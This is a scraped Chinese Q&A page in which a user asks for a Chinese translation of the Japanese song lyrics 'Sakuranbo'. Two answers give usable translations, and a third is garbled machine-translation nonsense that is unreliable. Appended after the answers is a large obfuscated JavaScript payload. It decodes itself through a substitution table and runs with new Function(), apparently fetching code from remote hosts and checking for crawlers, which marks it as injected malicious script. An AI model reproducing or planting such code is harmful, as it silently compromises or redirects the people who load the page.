请会日文的帮忙翻译一下.谢谢

2025-02-16 15:13:55
推荐回答(4个)
回答1:

★直译:不随意添加原文没有的词语。
さくらんぼ(樱桃)
作词:大冢爱 作曲:大冢爱 编曲:Ikoman/大冢爱

爱し合う2人 幸せの空
★相爱的二人 幸福的天空
隣どおし あなたとあたし さくらんぼ
★相邻而伴 你和我 红樱桃

手帐开くと もう 2年たつなぁって
★打开记事本 着实感受到
やっぱ実感するね なんだか照れたりするね
★已经过了两年 不知为何有点害羞
そういや ヒドイ コトもされたし
★是啊 虽然你对我做过过火的事
ヒドイ コトも言ったし
★我对你说过过火的话
中実がいっぱいつまった 甘い甘いものです
★有的尽是内容充实的甜蜜

泣き泣きの1日や 自転车の旅や
★哭哭啼啼的一天 自行车旅行
书きあらわせない
★无法全部描述
だって 多いんだもん!!
★因为实在太多

笑颜咲ク 君とつながってたい
★我想牵着笑颜尽开的你
もしあの向こうにッ见えるものがあるなら
★如果前方有能够看到的东西
爱し合う2人 幸せの空
★相爱的二人 幸福的天空
隣どおし あなたとあたし さくらんぼ
★相邻而伴 你和我 红樱桃

もらったものは そう爱を感じ
★送给我的东西 令我感受到爱
あげたものは もちろん 全力の爱です
★送给你的东西 当然是全力的爱
やっぱいいもんだよね 共同作业 罚ゲーム
★还是这样好啊 共同做事 惩罚小游戏
思いがけなく歴史は さらに深いけれど
★没有想到 历史更深邃
1つでも 欠けてたら とんでもなく
★哪怕欠缺一个 都会变得很糟糕

足りない 足りない! 足りない!! 2人の绊
★不够 不够! 不够!!两人的羁绊

笑颜咲ク 君と 抱き合ってたい
★我想拥抱笑颜尽开的你
もし远い未来を 予想するのなら
★如果预想遥远的未来
爱し合う2人 いつの时も
★相爱的二人 无论何时都
隣どおし あなたと あたし さくらんぼ
★相邻而伴 你和我 红樱桃

笑颜咲ク 君とつながってたい
★我想牵着笑颜尽开的你
もしあの向こうにッ见えるものがあるなら
★如果前方有能够看到的东西
爱し合う2人 幸せの空
★相爱的二人 幸福的天空
隣どおし あなたとあたし さくらんぼ
★相邻而伴 你和我 红樱桃

(もういっかい!!)
★(再来一次!!)

笑颜咲ク 君と 抱き合ってたい
★我想拥抱笑颜尽开的你
もし远い未来を 予想するのなら
★如果预想遥远的未来
爱し合う2人 いつの时も
★相爱的二人 无论何时都
隣どおし あなたと あたし さくらんぼ
★相邻而伴 你和我 红樱桃
爱し合う2人 いつの时も
★相爱的二人 无论何时都
爱し合う2人 いつの时も
★相爱的二人 无论何时都
隣どおし あなたと あたし さくらんぼ
★相邻而伴 你和我 红樱桃

回答2:

相爱的两人 幸福的天空
比邻而居 你和我像一串樱桃
打开记事本 已经过了两年了
果然感受很深 有一点不好意思的感觉
这当中 你曾经对我做过很过分的事
我也曾经说过很过分的话
满满的内容 很甜很甜的感受
哭哭啼啼的一天 单车旅行 这些都难以全部描述
因为 实在太多了嘛!!
绽放笑容想和你心连心
如果说在那一头 可以看见些什麼相爱的两福的天空
比邻而居 你和我像一串樱桃
你给我的东西 令我感受到爱情
我给你的当然 是我全心全意的爱
感觉果然很好 共同作业 处罚游戏
历央变得更深?超出了我的想像
哪怕只是 少了一个 都不得了
不够 不够! 不够!!两人间的牵系
绽放笑容 想和你相拥在一起
如果要预测 遥远的未来
相爱的两个无论何时
比邻而居 你和我 像一串樱桃
绽放笑容?想和你心连心
如果说在那一头 可以看见些什麼
相爱的两人 幸福的天空
比邻而居 你和我像一串樱桃
绽放笑容想和你相拥在一起
如果要预测遥远的达来
相爱的两人 无论何时
比邻而居 你和我像一串樱桃
相爱的两人 无论何时
相爱的两人 无论何时
比邻而居 你和我 像一串樱桃

回答3:

2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 手? ? ? 2 年它已经通过? ? 您认为的Don't? 并且? ? 您体会, 它是什麼, don'tyou 认为? 它可能发光如此, 还??? 事很好做了并且您并且叫吗? 吗? 吗? 事和他们是甜甜点一□固体一直被塞住了1 天哭泣哭泣和自转? 旅行和? 它是许多的以后的youcannot 显示, 它是它是! ! 笑? ? ? 您我们会想被联系在那对方? 如果有一些您获得? 2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 那些您接受如此? 感觉那些它举当然所有力量? 是和? ? 您叫和摩擦了您认为的don't? thejoint 工作? ? 游戏然而这至於为historyfurthermore 是深刻缺乏一致是意想不到和历史, 鳕鱼粗暴它不足够, 它不足够! 它不是足够! ! 2? 笑? ? ? 您我们会想拿著? 如果它是和是它被期望的未来吗? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看? 笑? ? ? 您我们会想被联系在那对方? 如果有一些您获得? 2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 笑? ? ? 您我们会想拿著? 如果它是和是它被期望的未来吗? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看? ? 2 人某时做? ? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 手? ? ? 2 年它已经通过? ? 您认为的Don't?并且? ? 您体会, 它是什麼, don't 您认为? 它可能发光如此, 还??? 事很好做了并且您并且叫吗? 吗? 吗? 事和他们是甜甜点一□固体一直被塞住了1 天哭泣哭泣和自转? 旅行和? 它是许多的以后的youcannot 显示, 它是它是! ! 笑? ? ? 您我们会想被联系在那对方? 如果有一些您获得? 2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 那些您接受如此? 感觉那些它举当然所有力量? 是和? ? 您叫和摩擦了您认为的don't? thejoint 工作? ? 游戏然而这至於为historyfurthermore 是深刻缺乏一致是意想不到和历史, 鳕鱼粗暴它不足够, 它不足够! 它不是足够! ! 2? 笑? ? ? 您我们会想拿著? 如果它是和是它被期望的未来吗? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看? 笑? ? ? 您我们会想被联系在那对方? 如果有一些您获得? 2 人的愉快的天空做隔壁? 它做和您和? 做thefence 观看? 笑? ? ? 您我们会想拿著? 如果它是和是它被期望的未来吗? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看? ? 2 人某时做? ? 2 人某时做? 隔壁? 它做和您和? 做thefence 观看?

回答4:

一楼的那个真是太搞笑了~~翻译软件翻译来的吧?哈哈哈

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();